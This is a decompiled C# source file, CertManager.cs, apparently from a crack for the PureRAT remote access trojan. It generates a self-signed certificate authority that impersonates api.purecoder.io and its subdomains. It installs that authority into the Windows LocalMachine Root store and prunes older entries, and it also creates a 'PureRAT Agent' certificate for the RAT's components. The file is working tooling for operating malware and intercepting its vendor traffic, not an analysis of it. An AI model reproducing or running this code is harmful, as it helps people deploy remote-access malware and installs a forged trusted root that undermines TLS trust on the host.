Files
PURErat-crack-scode/decompiled/purerat decompiled/PureCrack.Setup/CertManager.cs
T
2026-08-27 10:56:38 -06:00

139 lines
5.5 KiB
C#

using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using PureCrack.Util;
namespace PureCrack.Setup;
public static class CertManager
{
private static readonly TimeSpan ValidityWindow = TimeSpan.FromDays(3650.0);
private static readonly TimeSpan RegenIfWithin = TimeSpan.FromDays(30.0);
public static string RelayPfxPath => Path.Combine(Workspace.DataDir, "relay.pfx");
public static string AgentPfxPath => Path.Combine(Workspace.DataDir, "agent.pfx");
public static X509Certificate2 EnsureRelayCert()
{
X509Certificate2 x509Certificate = LoadIfFresh(RelayPfxPath, "relay cert");
if (x509Certificate != null)
{
return x509Certificate;
}
Log.Info("relay cert: generating self-signed SAN cert");
using RSA key = RSA.Create(2048);
CertificateRequest certificateRequest = new CertificateRequest("CN=api.purecoder.io, O=PureCrack, OU=Relay", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
SubjectAlternativeNameBuilder subjectAlternativeNameBuilder = new SubjectAlternativeNameBuilder();
subjectAlternativeNameBuilder.AddDnsName("api.purecoder.io");
subjectAlternativeNameBuilder.AddDnsName("api1.purecoder.io");
subjectAlternativeNameBuilder.AddDnsName("api2.purecoder.io");
subjectAlternativeNameBuilder.AddDnsName("*.purecoder.io");
certificateRequest.CertificateExtensions.Add(subjectAlternativeNameBuilder.Build());
certificateRequest.CertificateExtensions.Add(new X509BasicConstraintsExtension(certificateAuthority: true, hasPathLengthConstraint: false, 0, critical: true));
certificateRequest.CertificateExtensions.Add(new X509KeyUsageExtension(X509KeyUsageFlags.KeyCertSign | X509KeyUsageFlags.KeyEncipherment | X509KeyUsageFlags.DigitalSignature, critical: true));
byte[] array = certificateRequest.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow)).Export(X509ContentType.Pfx, "");
File.WriteAllBytes(RelayPfxPath, array);
Log.Ok($"relay cert: written to {RelayPfxPath} ({array.Length:N0}b)");
X509Certificate2 x509Certificate2 = new X509Certificate2(array, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet);
InstallToRoot(x509Certificate2);
return x509Certificate2;
}
public static byte[] EnsureAgentCertPfxBytes()
{
if (File.Exists(AgentPfxPath))
{
try
{
X509Certificate2 x509Certificate = new X509Certificate2(AgentPfxPath, "");
if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin))
{
Log.Info($"agent cert: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd})");
return File.ReadAllBytes(AgentPfxPath);
}
TimeSpan regenIfWithin = RegenIfWithin;
Log.Warn($"agent cert: expires within {regenIfWithin.TotalDays:0} days, regenerating");
}
catch (Exception ex)
{
Log.Warn("agent cert: existing PFX unreadable, regenerating (" + ex.Message + ")");
}
}
Log.Info("agent cert: generating self-signed PureRAT Agent cert");
using RSA key = RSA.Create(2048);
using X509Certificate2 x509Certificate2 = new CertificateRequest("CN=PureRAT Agent", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1).CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow));
byte[] array = x509Certificate2.Export(X509ContentType.Pfx, "");
File.WriteAllBytes(AgentPfxPath, array);
Log.Ok($"agent cert: written to {AgentPfxPath} ({array.Length:N0}b)");
return array;
}
public static void Wipe()
{
string[] array = new string[2] { RelayPfxPath, AgentPfxPath };
foreach (string text in array)
{
if (File.Exists(text))
{
File.Delete(text);
Log.Bullet("cert: removed " + text);
}
}
}
private static X509Certificate2? LoadIfFresh(string pfxPath, string label)
{
if (!File.Exists(pfxPath))
{
return null;
}
try
{
X509Certificate2 x509Certificate = new X509Certificate2(pfxPath, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet);
if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin))
{
Log.Info($"{label}: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd}, " + "thumbprint " + x509Certificate.Thumbprint.Substring(0, 12) + "…)");
return x509Certificate;
}
TimeSpan regenIfWithin = RegenIfWithin;
Log.Warn($"{label}: expires within {regenIfWithin.TotalDays:0} days, regenerating");
return null;
}
catch (Exception ex)
{
Log.Warn(label + ": existing PFX unreadable, regenerating (" + ex.Message + ")");
return null;
}
}
private static void InstallToRoot(X509Certificate2 cert)
{
try
{
using X509Store x509Store = new X509Store(StoreName.Root, StoreLocation.LocalMachine);
x509Store.Open(OpenFlags.ReadWrite);
X509Certificate2Enumerator enumerator = x509Store.Certificates.Find(X509FindType.FindBySubjectDistinguishedName, cert.SubjectName.Name, validOnly: false).GetEnumerator();
while (enumerator.MoveNext())
{
X509Certificate2 current = enumerator.Current;
if (!(current.Thumbprint == cert.Thumbprint) && current.NotAfter < DateTime.UtcNow.AddYears(1))
{
x509Store.Remove(current);
Log.Bullet("relay cert: pruned stale Root entry (thumbprint " + current.Thumbprint.Substring(0, 12) + "…)");
}
}
x509Store.Add(cert);
x509Store.Close();
Log.Ok("relay cert: installed in LocalMachine\\Root (thumbprint " + cert.Thumbprint.Substring(0, 12) + "…)");
}
catch (Exception ex)
{
Log.Err("relay cert: failed to install to Root store: " + ex.Message);
throw;
}
}
}